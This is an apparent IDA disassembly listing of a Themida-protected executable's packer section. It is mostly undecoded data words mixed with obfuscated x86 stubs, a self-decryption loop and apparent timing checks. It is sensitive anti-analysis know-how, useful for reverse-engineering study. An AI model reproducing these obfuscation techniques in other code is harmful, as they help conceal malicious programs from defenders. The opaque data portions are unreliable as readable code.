dd 0B3E961B6h, 0F9000001h, 0F0DFB83h, 3185h, 2860F00h
dd 60000000h, 0B8BD8D61h, 0F061378h, 182h, 8FE9FC00h, 0F000001h
dd 685h, 80FC6000h, 0E96157D8h, 6, 0C7748646h, 0FB83727Bh
dd 0A7850F01h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1D042444h, 46000000h, 0CE57C356h, 0A7EA2990h
dd 67C8264Ch, 78B0Fh, 8F0F0000h, 1, 0C0BD8DF8h, 6A061378h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h
dd 40000000h, 2C12C350h, 383432EFh, 9E9h, 97312200h, 87A43C23h
dd 13E924C2h, 0F0000000h, 7E7E4CDFh, 74E9B8h, 0BDBA0576h
dd 14102CCDh, 0EBE99E53h, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0CB95C350h
dd 0ECF67B0Bh, 0FB83F845h, 60850F2Ah, 0F000000h, 0B8Ah
dd 6E900h, 0B2410000h, 367B4BB4h, 78C8BD8Dh, 8C0F0613h
dd 0Eh, 820F60h, 0F000000h, 8Ah, 8FE96100h, 6A000000h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h
dd 46000000h, 1214C356h, 28957727h, 8E92B8Eh, 76000000h
dd 0A3462486h, 83541493h, 850F27FBh, 38Eh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 19C35545h, 7E9C8h
dd 50C60000h, 0C14E3789h, 11E932h, 0E5470000h, 0A55F7D87h
dd 622F02C7h, 87048AA1h, 8D89C962h, 1378D0BDh, 0CE906h
dd 9BBC0000h, 0F241562h, 2832BB00h, 0BD8910B5h, 61378E0h
dd 9E9h, 2DAA3400h, 15F935E5h, 8C66AFE9h, 0CB8160C8h, 551A2137h
dd 11E9h, 7F5700h, 0B105074Bh, 0F46A2D21h, 0AAF4FADAh
dd 24617E6Dh, 51006A03h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1504h, 0C3514100h, 8C0F6A1Eh, 5, 94D68060h, 7E9F861h
dd 0E8000000h, 5EC5C0BFh, 0C00AAC49h, 220850Fh, 850F0000h
dd 10h, 0BE9h, 9B08E400h, 0A1459FEEh, 4647A7CBh, 7FA0B58Dh
dd 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
dd 55450000h, 49FC84C3h, 0F8D0C6C2h, 14E952h, 0A7160000h
dd 84401AE8h, 9C4530B7h, 0FE6D2A5Dh, 44003263h, 0F60B5DCh
dd 38Eh, 0D0BF0F00h, 858B61F8h, 613804Ch, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 1Ch, 0B3C35646h, 9E666597h
dd 537C643h, 13E9h, 6A70A500h, 24355E59h, 4363C5AFh, 0BD71D075h
dd 3552EA32h, 0C830F92h, 0E9000000h, 7, 0C2E2C11Eh, 50F3E0B1h
dd 0EE9h, 0B6660D00h, 5D36C0BAh, 7B539F8Ch, 9241937Eh
dd 18810Fh, 13E90000h, 74000000h, 7011E0DFh, 4AB55AA6h
dd 5297EA39h, 0CB9E5EC0h, 10F709Ah, 60FE244Ch, 1850Fh
dd 80F50000h, 606133EFh, 6830Fh, 8D0F0000h, 0
; ---------------------------------------------------------------------------
popa
pop edx
push 0
push esi
call sub_58320D
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58320D proc near ; CODE XREF: Themida_:00583205p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ch
inc esi
push esi
retn
sub_58320D endp
; ---------------------------------------------------------------------------
push 61h
cdq
cmp al, 0FAh
mov byte ptr [eax-46h], 12h
jbe loc_58323E
pusha
jmp loc_583237
; ---------------------------------------------------------------------------
dw 823Eh
db 0Eh, 8Fh, 7Bh
; ---------------------------------------------------------------------------
loc_583237: ; CODE XREF: Themida_:0058322Dj
and ecx, 448648D0h
popa
loc_58323E: ; CODE XREF: Themida_:00583226j
jmp loc_58324C
; ---------------------------------------------------------------------------
db 0E5h
dd 0FDD74CE6h, 9EB293A1h
; ---------------------------------------------------------------------------
loc_58324C: ; CODE XREF: Themida_:loc_58323Ej
add edx, 24h
jns loc_583264
jmp loc_583264
; ---------------------------------------------------------------------------
dw 7AF1h
dd 57009B6Ah, 219A183h
; ---------------------------------------------------------------------------
loc_583264: ; CODE XREF: Themida_:0058324Fj
; Themida_:00583255j
mov [edx-4], si
push 0
push edx
call sub_583273
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_583273 proc near ; CODE XREF: Themida_:0058326Bp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_583273 endp
; ---------------------------------------------------------------------------
db 8
dd 168EEDA3h, 9DADE8D0h, 10CEC1F8h, 7E9h, 0E1966300h, 2A8E795Fh
dd 2728966h, 0D890Fh, 8E90000h, 0CD000000h, 9F6A0612h
dd 0CDB0B461h, 51006A04h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1904h, 0C3514100h, 0C80E45EAh, 0BE9065Fh
dd 0B8000000h, 9C990151h, 6B259D51h, 11E96D26h, 0CF000000h
dd 0FEBAACAEh, 0CD804892h, 0C065C51h, 49C127CCh, 18C0Fh
dd 0E9F80000h, 99h, 9E9h, 56E6CF00h, 0AD22A8A7h, 858B0A9Fh
dd 613804Ch, 0C810Fh, 880F0000h, 6, 8C0Fh, 0B58D0000h
dd 6137FA0h, 6870Fh, 66600000h, 6114F0BFh, 54E6858Dh, 6A0613h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
dd 0E99CB8C3h, 8, 0B95B6032h, 571E30AAh, 6AD0FFh, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
dd 676EF1C3h, 0FE39028h, 782h, 18B0F00h, 0FC000000h, 0D88589FCh
dd 60061378h, 6800Fh, 0EF810000h, 6F480333h, 0DAEBFFBBh
dd 6A61617Ah, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 16042444h, 40000000h, 0FBE6C350h, 858BF831h, 61378D8h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 24C35545h
dd 0F0421122h, 0B378C933h, 0A9E68060h, 60F8C361h, 9E9h
dd 0C4518500h, 0E1152109h, 0BD83599Ch, 613804Ch, 72850F00h
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1B042444h, 40000000h, 9B63C350h, 238AE67Bh, 85C79C41h
dd 613804Ch, 1013Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Dh, 0FDC35242h, 30B62CEBh, 786264CAh, 13820F62h
dd 0E9000000h, 0Eh, 910E2CA3h, 0BC936BA0h, 750647E7h, 8E0F0F45h
dd 1, 17E9FCh, 12E90000h, 0D2000000h, 1965609Ch, 480A62CEh
dd 537775E8h, 88F3C493h, 20CD13h, 0B000000h, 8D3774C0h
dd 0BD8B0C70h, 61378E0h, 8B9h, 2275A600h, 8BFA7549h, 9D8B3048h
dd 61378DCh, 7F34583Bh, 6BD38B15h, 0CA0304D2h, 8589018Bh
dd 61378D8h, 8B04EBh, 8B61C5EBh, 1378D885h, 0B760CF06h
dd 0DF816693h, 6A617788h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 15042444h, 45000000h, 3783C355h, 11E9h, 6DB19900h
dd 890B0153h, 0EEFDF228h, 0C0843B09h
; ---------------------------------------------------------------------------
adc al, bl
loc_58353A: ; CODE XREF: Themida_:loc_582D4Fj
mov eax, eax
call sub_583550
pop edx
push ecx
mov bl, 2Eh
; ---------------------------------------------------------------------------
db 0D9h, 0D4h, 0DFh
dd 0ED3C3A80h, 842DE3A1h
; =============== S U B R O U T I N E =======================================
sub_583550 proc near ; CODE XREF: Themida_:0058353Cp
var_64 = dword ptr -64h
var_5C = dword ptr -5Ch
var_48 = dword ptr -48h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
pop esi
push edi
mov cx, 2D5h
pop ebx
add esi, 5B9Ch
mov bx, 6145h
mov edi, 16C8h
sub bx, 0B429h
loc_58356B: ; CODE XREF: sub_583550:loc_5835B4j
push dword ptr [esi]
mov ch, 41h
pop eax
mov bx, di
sub eax, 2365F8BCh
mov dh, 0Ah
sub eax, 5FA0A845h
mov bx, cx
sub eax, 18C448A0h
mov ebx, eax
mov [esi], eax
mov edx, 603B9096h
sub esi, 4
movzx ebx, dx
dec edi
jnz loc_5835B4
mov edx, 0D58256Bh
jmp loc_5835C1
; ---------------------------------------------------------------------------
dw 5C4Ch
; ---------------------------------------------------------------------------
xor esi, ebp
adc [ebx+5173716Eh], esi
loc_5835B4: ; CODE XREF: sub_583550+4Aj
jmp loc_58356B
; ---------------------------------------------------------------------------
db 11h, 0B1h, 15h
dd 9B94871h
db 8Ch
; ---------------------------------------------------------------------------
loc_5835C1: ; CODE XREF: sub_583550+55j
jmp loc_5839C6
; ---------------------------------------------------------------------------
align 4
dd 41330000h, 6E69206Eh, 6E726574h, 65206C61h, 70656378h
dd 6E6F6974h, 63636F20h, 64657275h, 64412820h, 73657264h
dd 30203A73h, 29782578h, 6C500D0Ah, 65736165h, 6F63202Ch
dd 6361746Eh, 75732074h, 726F7070h, 726F4074h, 736E6165h
dd 6D6F632Eh, 6854202Eh, 206B6E61h, 21756F79h, 0E4h dup(0)
dd offset loc_55FFFD+3
dd offset dword_445750+0A8B0h
dd 0
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5839C6: ; CODE XREF: sub_583550:loc_5835C1j
jmp loc_584BA3
; ---------------------------------------------------------------------------
push 0
push edx
call loc_5839D6
and [edx-3Dh], bl
loc_5839D6: ; CODE XREF: sub_583550+47Ep
pop edx
mov [esp+arg_0], edx
add [esp+arg_0], 16h
inc edx
push edx
retn
; ---------------------------------------------------------------------------
adc ebp, [edi+22h]
mov [ebp+6101165h], esi
mov [ebp+610228Dh], edi
loc_5839F5: ; DATA XREF: Themida_:0054D5BCo
mov eax, [ebp+6102E61h]
push 0
push ebx
call loc_583A06
and [ebx-3Dh], bl
loc_583A06: ; CODE XREF: sub_583550+4AEp
pop ebx
mov [esp+8+var_4], ebx
add [esp+8+var_4], 15h
inc ebx
push ebx
retn
; ---------------------------------------------------------------------------
jle short near ptr loc_583A65+2
jno loc_583A1F
cld
loc_583A1F: ; CODE XREF: sub_583550+4C8j
mov [ebp+610348Dh], edi
cmp [esp+0Ch+var_8], eax
jnz loc_583ABD
push 0
push eax
call loc_583A3A
and [eax-3Dh], bl
loc_583A3A: ; CODE XREF: sub_583550+4E2p
pop eax
mov [esp+10h+var_C], eax
add [esp+10h+var_C], 1Dh
inc eax
push eax
retn
; ---------------------------------------------------------------------------
xor [esp+14h+var_14], eax
sbb al, 0C3h
sub eax, 0C43629E4h
stc
cmp dword ptr [ebp+61022E5h], 0
jz loc_583ABD
push 0
push ebp
loc_583A65: ; CODE XREF: sub_583550+4C6j
call loc_583A6D
and [ebp-3Dh], bl
loc_583A6D: ; CODE XREF: sub_583550:loc_583A65p
pop ebp
mov [esp+18h+var_14], ebp
add [esp+18h+var_14], 17h
inc ebp
push ebp
retn
; ---------------------------------------------------------------------------
xlat
mov byte ptr [ebx+30h], 89h
xchg eax, ebp
xchg eax, ebp
and edx, [eax]
push es
lea eax, [ebp+6103A32h]
pusha
loc_583A8E: ; CODE XREF: sub_583550+56Aj
mov si, 343Bh
sub [ebp+610141Dh], edi
popa
jmp eax
; ---------------------------------------------------------------------------
push 0
push ecx
call loc_583AA6
and [ecx-3Dh], bl
loc_583AA6: ; CODE XREF: sub_583550+54Ep
pop ecx
mov [esp+24h+var_20], ecx
add [esp+24h+var_20], 1Ah
inc ecx
push ecx
retn
; ---------------------------------------------------------------------------
jbe short near ptr loc_583AF2+1
jmp short loc_583AEC
; ---------------------------------------------------------------------------
js short loc_583A8E
cdq
loc_583ABD: ; CODE XREF: sub_583550+4D9j
; sub_583550+50Cj
mov eax, [ebp+61020E5h]
push 0
push edi
call loc_583ACE
and [edi-3Dh], bl
loc_583ACE: ; CODE XREF: sub_583550+576p
pop edi
mov [esp+10h+var_C], edi
add [esp+10h+var_C], 15h
inc edi
push edi
retn
; ---------------------------------------------------------------------------
dw 80CDh
dd 1840Fh, 0FCF90000h, 1C9DBD29h
; ---------------------------------------------------------------------------
loc_583AEC: ; CODE XREF: sub_583550+568j
adc [esi], al
cmp [esp+4], eax
loc_583AF2: ; CODE XREF: sub_583550+566j
jnz loc_583B28
mov [ebp+61010E1h], edx
jg loc_583B0A
mov [ebp+61019DDh], ecx
loc_583B0A: ; CODE XREF: sub_583550+5AEj
mov dword ptr [ebp+6138557h], 1
jmp loc_583B28
; ---------------------------------------------------------------------------
db 0C0h, 36h, 5Dh
dd 7B539F8Ch, 6C41937Eh, 0CA57412Ch
; ---------------------------------------------------------------------------
loc_583B28: ; CODE XREF: sub_583550:loc_583AF2j
; sub_583550+5C4j
pusha
clc
jmp loc_583B3A
; ---------------------------------------------------------------------------
db 89h
dd 1000E9BDh, 0F906h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_583B3A: ; CODE XREF: sub_583550+5DAj
mov eax, 1
loc_583B3F: ; CODE XREF: sub_583550+5F7j
xchg eax, [ebp+61386CBh]
or eax, eax
jnz short loc_583B3F
push dword ptr [ebp+61023E5h]
pop dword ptr [ebp+613854Fh]
push 20h
push 0FFFFFFFFh
call dword ptr [ebp+61006B9h]
cmp dword ptr [ebp+6102D79h], 0
jz short loc_583B70
push 0
call dword ptr [ebp+61031C9h]
loc_583B70: ; CODE XREF: sub_583550+616j
cmp dword ptr [ebp+6102969h], 1
jz short loc_583B86
push 80h
push 0FFFFFFFFh
call dword ptr [ebp+61006B9h]
loc_583B86: ; CODE XREF: sub_583550+627j
push 0
push esi
call loc_583B91
and [esi-3Dh], bl
loc_583B91: ; CODE XREF: sub_583550+639p
pop esi
mov [esp+60h+var_5C], esi
add [esp+60h+var_5C], 18h
inc esi
push esi
retn
; ---------------------------------------------------------------------------
db 0E1h, 0E7h, 12h
dd 830F9528h, 1, 0E18D01F9h, 6A061018h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 706DC357h
dd 9D2B6022h, 6101C45h, 1C02B61h, 1031C18Dh, 24548B06h
dd 0E99D0928h, 8906101Eh, 10147585h, 0ADB53106h, 0BE06100Fh
dd 3Ch, 21E5BD09h, 74030610h, 6A2424h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 190424h, 50400000h, 2F6977C3h
dd 893316C3h, 101CF9BDh, 6AAD6606h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 19042444h, 40000000h, 3BF3C350h
dd 15FA05B6h, 7218501h, 3FC0610h, 6A242444h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
dd 0EF1DC355h, 0B4B3B77Dh, 60F5600Ah, 0F1B589h, 33BF0610h
dd 61182CD5h, 52505061h, 108E0Fh, 0BE90000h, 0F2000000h
dd 0EA53200Bh, 1BA9B049h, 310F0C6Bh, 8E9h, 42F14D00h, 0E9EE9D90h
dd 89585A12h, 8BF82404h, 95297840h, 61029A5h, 8557BD83h
dd 0F000613h, 13185h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1504h, 0C3564600h, 90F90587h, 1E8F0Fh, 0E8600000h
dd 14h, 0E2E95E65h, 8DC6E95Ah, 311E82AEh, 87FF5DBBh, 0F3D4DDB7h
dd 61C78B5Bh, 0F525050h, 289h, 0F616000h, 60525031h, 60310F61h
dd 5A585A61h, 850F9058h, 16h, 9E960h, 46290000h, 345BED1Eh
dd 0F184B23h, 81h, 448B6100h, 6A2C24h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 150424h, 53430000h, 892F25C3h
dd 102D0195h, 69B52906h, 90061004h, 108C0Fh, 850F0000h
dd 0Ah, 5E9h, 0A9CDE800h, 6050855Eh, 14E860h, 0E20E0000h
dd 9D1F4D19h, 56116E93h, 0D1F01068h, 2004BDBBh, 665E5B12h
dd 6162FFB8h, 0AE9h, 55157D00h, 2C4B2726h, 615B3616h, 518D0190h
dd 8D061029h, 134F6A85h, 7E906h, 84920000h, 46CE7579h
dd 6AD0FF25h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 19042444h, 46000000h, 0CF0BC356h, 92AC46D7h, 2AE1BD09h
dd 44030610h, 6A2824h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 160424h, 51410000h, 624D5AC3h, 901B531h, 408B0610h
dd 0DE96018h, 67000000h, 1F71C222h, 70556791h, 39F28C3Ah
dd 51E5BF66h, 0E5B58961h, 40061014h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 15h, 51C35343h, 952B6060h, 6102A81h
dd 61F18B66h, 85538589h, 6A0613h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1D0424h, 57470000h, 0FCA228C3h, 5BFB004Fh
dd 58DDBDCAh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 15h, 67C35141h, 78708BEDh, 0ED9D2960h, 8B061016h, 100E9DBDh
dd 13E96106h, 6C000000h, 0E72E9913h, 79EC8A99h, 0DD3B30CDh
dd 8C565DB0h, 0C683FFCEh, 0F96F81Ch, 1386h, 0EE900h, 0A2500000h
dd 9131C54h, 1CC19056h, 12B8010Eh, 24247C81h, 10000000h
dd 0C2870Fh, 90F50000h, 0DE960h, 6F230000h, 48CBB432h
dd 6F82B9C3h, 61D11A7Bh, 60525050h, 0F6129B7h, 0F525031h
dd 8Eh, 0F310F00h, 82h, 5A585A00h, 8D099058h, 6100CA9h
dd 2824448Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Bh, 6CC35343h, 58F8267Ch, 0F1F3CACh, 0C82h, 6880F00h
dd 9000000h, 10092595h, 85896006h, 6103341h, 5061E0B4h
dd 0CE9h, 0F2E70100h, 88522FF2h, 6D85E878h, 240489DFh
dd 59D8B60h, 0F061019h, 86h, 858D6100h, 6134F6Ah, 9E9h
dd 199A0A00h, 0DB60B255h, 0D0FF296Eh, 6880Fh, 95310000h
dd 61006CDh, 810F6096h, 3, 61D9B70Fh, 24247403h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 49C35242h, 60021E75h
dd 10E94Bh, 61D0000h, 653E1D23h, 65AEE617h, 95C81447h
dd 880F9F83h, 18h, 13E9h, 0A3FBE800h, 938AB676h, 38CF26ADh
dd 4F5B9EEEh, 0CC70D769h, 20B5BD8Dh, 6A0610h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 93FA93C3h
dd 0BFD2AE1Dh, 6AAD0Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 150424h, 52420000h, 0F81FAC3h, 0C87h, 6860F00h, 0F000000h
dd 8Ah, 247C8100h, 24h, 0DC870F10h, 0F000000h, 168Ah, 11E900h
dd 12EF0000h, 0BF357B60h, 0D3EA1D77h, 0D622B3A5h, 90789C4Ah
dd 8E9h, 0E4BF900h, 169E4336h, 0E8605020h, 0Fh, 8CE5F80h
dd 8332ECD5h, 0E63EAC12h, 0BFA227D7h, 6ED69A16h, 0BE95Fh
dd 2EBF0000h, 0B3012BEDh, 0A7876F5Eh, 609061C3h, 130DB589h
dd 8B660610h, 448B61CEh, 7E92824h, 39000000h, 7F5A10D2h
dd 6050282Dh, 13E9h, 24643400h, 0E480E9FCh, 96A0C692h
dd 0AA903950h, 2724EDD1h, 59616056h, 24048961h, 8860Fh
dd 830F0000h, 2, 858D6160h, 6134F6Ah, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 15h, 0D7C35242h, 0BD8B60CCh, 61015CDh
dd 10E19D8Bh, 0FF610610h, 8D9D89D0h, 3061034h, 6A242444h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h
dd 46000000h, 0D31EC356h, 5425BC19h, 0AB3C8A49h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 65C35545h, 4D5ACE41h
dd 0FA810762h, 10000h, 7AA820Fh, 870F0000h, 8, 28E0Fh
dd 61600000h, 2F59BD8Dh, 89F90610h, 10228D8Dh, 6AAD06h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
dd 0E85AFBC3h, 0BDB53157h, 81061013h, 24247Ch, 0F100000h
dd 0DA87h, 15BD0100h, 90061013h, 11E860h, 0F6A50000h, 6CD9FE6h
dd 3287053h, 1B327493h, 6647711Ah, 0E95EF88Bh, 13h, 9F8E949Bh
dd 0F2C7D525h, 6A737492h, 28C6CA1Ah, 6113FF89h, 0BE950h
dd 0EE6E0000h, 986D7434h, 0D1A80CA2h, 8BF990C3h, 0F282444h
dd 68Dh, 4DB58900h, 90061033h, 0E8A0Fh, 52500000h, 310F6160h
dd 8B0Fh, 585A0000h, 48C0F50h, 60000000h, 90616160h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0E3C35040h, 21BE00ECh
dd 9908A23Ch, 719529FCh, 8D06101Eh, 134F6A85h, 85896006h
dd 6102F1Dh, 61F18B66h, 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 150424h, 53430000h, 33028C3h, 89242444h
dd 1001CD9Dh, 0B58B6006h, 6102F99h, 1629858Bh, 50610610h
dd 0FE9h, 82F82000h, 1C2A0278h, 23A8BE29h, 0B8C2131Fh
dd 6A240489h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 18042444h, 43000000h, 5ABAC353h, 60892A11h, 92D8D89h
dd 0AB610610h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ch, 8EC35242h, 0E428FB8Fh, 0A86946BAh, 13E9h, 41B8A600h
dd 80E852Bh, 3B874395h, 23921B2Ah, 0CF4608C9h, 2951BD09h
dd 0BD8D0610h, 6100601h, 0EE5B589h, 29AD0610h
dd 100625BDh, 247C8106h, 28h, 64870F10h, 6A000001h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
dd 2E3C350h, 60054333h, 1A2BB7BBh, 61EEB71Dh, 0F525050h
dd 28Dh, 0F616000h, 52506031h, 585A310Fh, 8E9h, 63C8C200h
dd 0D6A17694h, 585A618Fh, 6A240489h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0FCFAC356h
dd 14C5D667h, 89C448B6h, 102369B5h, 24448B06h, 0E985012Ch
dd 90061000h, 16890Fh, 0E9600000h, 9, 0B7A4ACE0h, 0D7BB03D0h
dd 0F5250A2h, 61585A31h, 60525050h, 450458BBh, 0F525065h
dd 61585A31h, 5250310Fh, 310F6160h, 810Fh, 585A0000h, 6A90585Ah
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h
dd 43000000h, 9F7DC353h, 4A9FED1Ah, 19858960h, 0F506102Fh
dd 6A858D61h, 6A06134Fh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 19042444h, 41000000h, 6218C351h, 0B25D74E4h
dd 0C58D3160h, 60061005h, 12E9h, 29844200h, 3A045F96h
dd 0AA9F0D28h, 80AE1BE6h, 8B67D933h, 0FF6161D0h, 51006AD0h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
dd 92D4B6F8h, 5E9D6h, 69330000h, 33BBA93h, 6A282444h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
dd 6F7CC352h, 6951D095h, 14E9h, 0E8F6AF00h, 18FE8083h
dd 20C2EB6Bh, 0DB1B960h, 0DE9D32Eh, 8F0FABD6h, 6, 0A019D09h
dd 0FF5E0610h, 1385538Dh, 53BD8306h, 61385h, 0C0330A75h
dd 944DB58Dh, 0E6FF0613h, 7C81AD56h, 2824h, 0E771000h
dd 24448B50h, 858D502Ch, 6134F6Ah, 4403D0FFh, 8B972824h
dd 4F858ADFh, 84061385h, 3A0474C0h, 574C7507h, 75AEC032h
dd 0FB2B5EFDh, 0C933FC52h, 33D18B49h, 0ACDB33C0h, 0CD8AC132h
dd 0D68AEA8Ah, 0D16608B6h, 0D8D166EBh, 35660973h, 81665041h
dd 0FE5449F3h, 33EB75CEh, 4FD333C8h, 0D2F7D575h, 0C28BD1F7h
dd 6610C0C1h, 3B5AC18Bh, 5E0F74D0h, 0FF04C683h, 10147585h
dd 0FF5DE906h, 0F5EFFFFh, 0D8Bh, 8E900h, 62E10000h, 0A01D4593h
dd 6ACE87h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
dd 57470000h, 0E006C8C3h, 0E98E78FEh, 14h, 3FB7A9F4h, 0E3230C8Bh
dd 576EE177h, 8328F0D1h, 5B689740h, 0F08B6060h, 93CA4DB9h
dd 0FD8A612Bh, 75858B61h, 6A061014h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 18DCC357h
dd 25B494E9h, 56F844DCh, 10818529h, 0E0D10610h, 13E9h
dd 82673800h, 0E6EFE05Dh, 0FC199376h, 92ABC20Ch, 0AFA07593h
dd 6018503h, 6A0610h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1A0424h, 56460000h, 866A07C3h, 986956A0h, 0FE9h, 7B8CF900h
dd 5F668441h, 17213B54h, 3BD05F02h, 9DD8D89h, 0BE0610h
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 16042444h, 41000000h, 0DC16C351h, 4D8D892Fh, 96061002h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 39C35343h
dd 0A4905326h, 9589738Bh, 6100E8Dh, 0BE9AD66h, 4C000000h
dd 472BBB37h, 677CBB0Ah, 0C1F9F656h, 6A02E0h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 6A20ECC3h
dd 0DB4D9DA9h, 603A0D05h, 152BD3BFh, 61DA8A59h, 20B58503h
dd 9D890610h, 6102159h, 50006A96h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1704h, 0C3504000h, 41CB3B16h, 56006AADh
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
dd 6696CEC5h, 7F6255C9h, 0BA666065h, 57606C90h, 458D095Ah
dd 61061008h, 13E961h, 2F330000h, 0EC99B16Dh, 0A0744976h
dd 81A4D634h, 3C060C80h, 247C8139h, 24h, 8D870F10h, 0E9000000h
dd 0Fh, 0CFA5D704h, 0B8AFA1C1h, 4237DD80h, 50781626h, 52505250h
dd 310F5250h, 310F585Ah, 8E0Fh, 585A0000h, 5250310Fh, 840Fh
dd 310F0000h, 0CE9h, 2E18300h, 72B57239h, 29ED54F9h, 5A585A6Dh
dd 24048958h, 6830Fh, 0BD890000h, 6101481h, 2824448Bh
dd 1830Fh, 50F50000h, 4896160h, 0ED852924h, 8D06102Dh
dd 134F6A85h, 7850F06h, 0F000000h, 184h, 840FFC00h, 1
dd 0FCD0FFFCh, 24244403h, 0FD958960h, 0E806100Bh, 8, 0D29258AEh
dd 1AEFE4BBh, 615F8EB7h, 1C244489h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 15h, 90C35242h, 0DD858994h, 0C606101Eh
dd 1023E585h, 85C70006h, 61386CBh, 0
; ---------------------------------------------------------------------------
mov dword ptr [ebp+6138557h], 0
push 0
push ecx
call loc_584905
and [ecx-3Dh], bl
loc_584905: ; CODE XREF: sub_583550+13ADp
pop ecx
mov [esp+68h+var_64], ecx
add [esp+68h+var_64], 18h
inc ecx
push ecx
retn
; ---------------------------------------------------------------------------
db 63h, 12h, 4Ch
; ---------------------------------------------------------------------------
and esp, [ebx+55006AFCh]
call loc_584926
and [ebp-3Dh], bl
loc_584926: ; CODE XREF: sub_583550+13CEp
pop ebp
mov [esp+68h+var_64], ebp
add [esp+68h+var_64], 19h
inc ebp
push ebp
retn
; ---------------------------------------------------------------------------
dw 5A4Ch
dd 622DE9B3h, 0BE9h, 793CC600h, 84A9E3FDh, 0B9CA0F8Eh
dd 498D8961h, 1061014h, 100B51BDh, 8C206h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0B3C35545h, 827D309Fh
dd 20B5858Bh, 6A0610h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 180424h, 56460000h, 36D869C3h, 8E9F625h, 0DC000000h
dd 0AE1A962Ah, 4A811611h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 18h, 81C35242h, 4BE5033Ah, 4D26BFCh, 6AC203F8h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h
dd 45000000h, 0B54AC355h, 1171B509h, 0B5010610h, 6101B55h
dd 57006A96h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h
dd 0C3574700h, 4B634D95h, 1B501D8h, 0AD061030h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0BDC35141h, 3145B474h
dd 1029718Dh, 247C8106h, 24h, 11870F10h, 60000001h, 7CCB8166h
dd 15BD33E6h, 61061007h, 0DE990h, 66C50000h, 0ECC0D07Eh
dd 0AD69056Fh, 507443D4h, 52505360h, 585A310Fh, 6A90615Eh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h
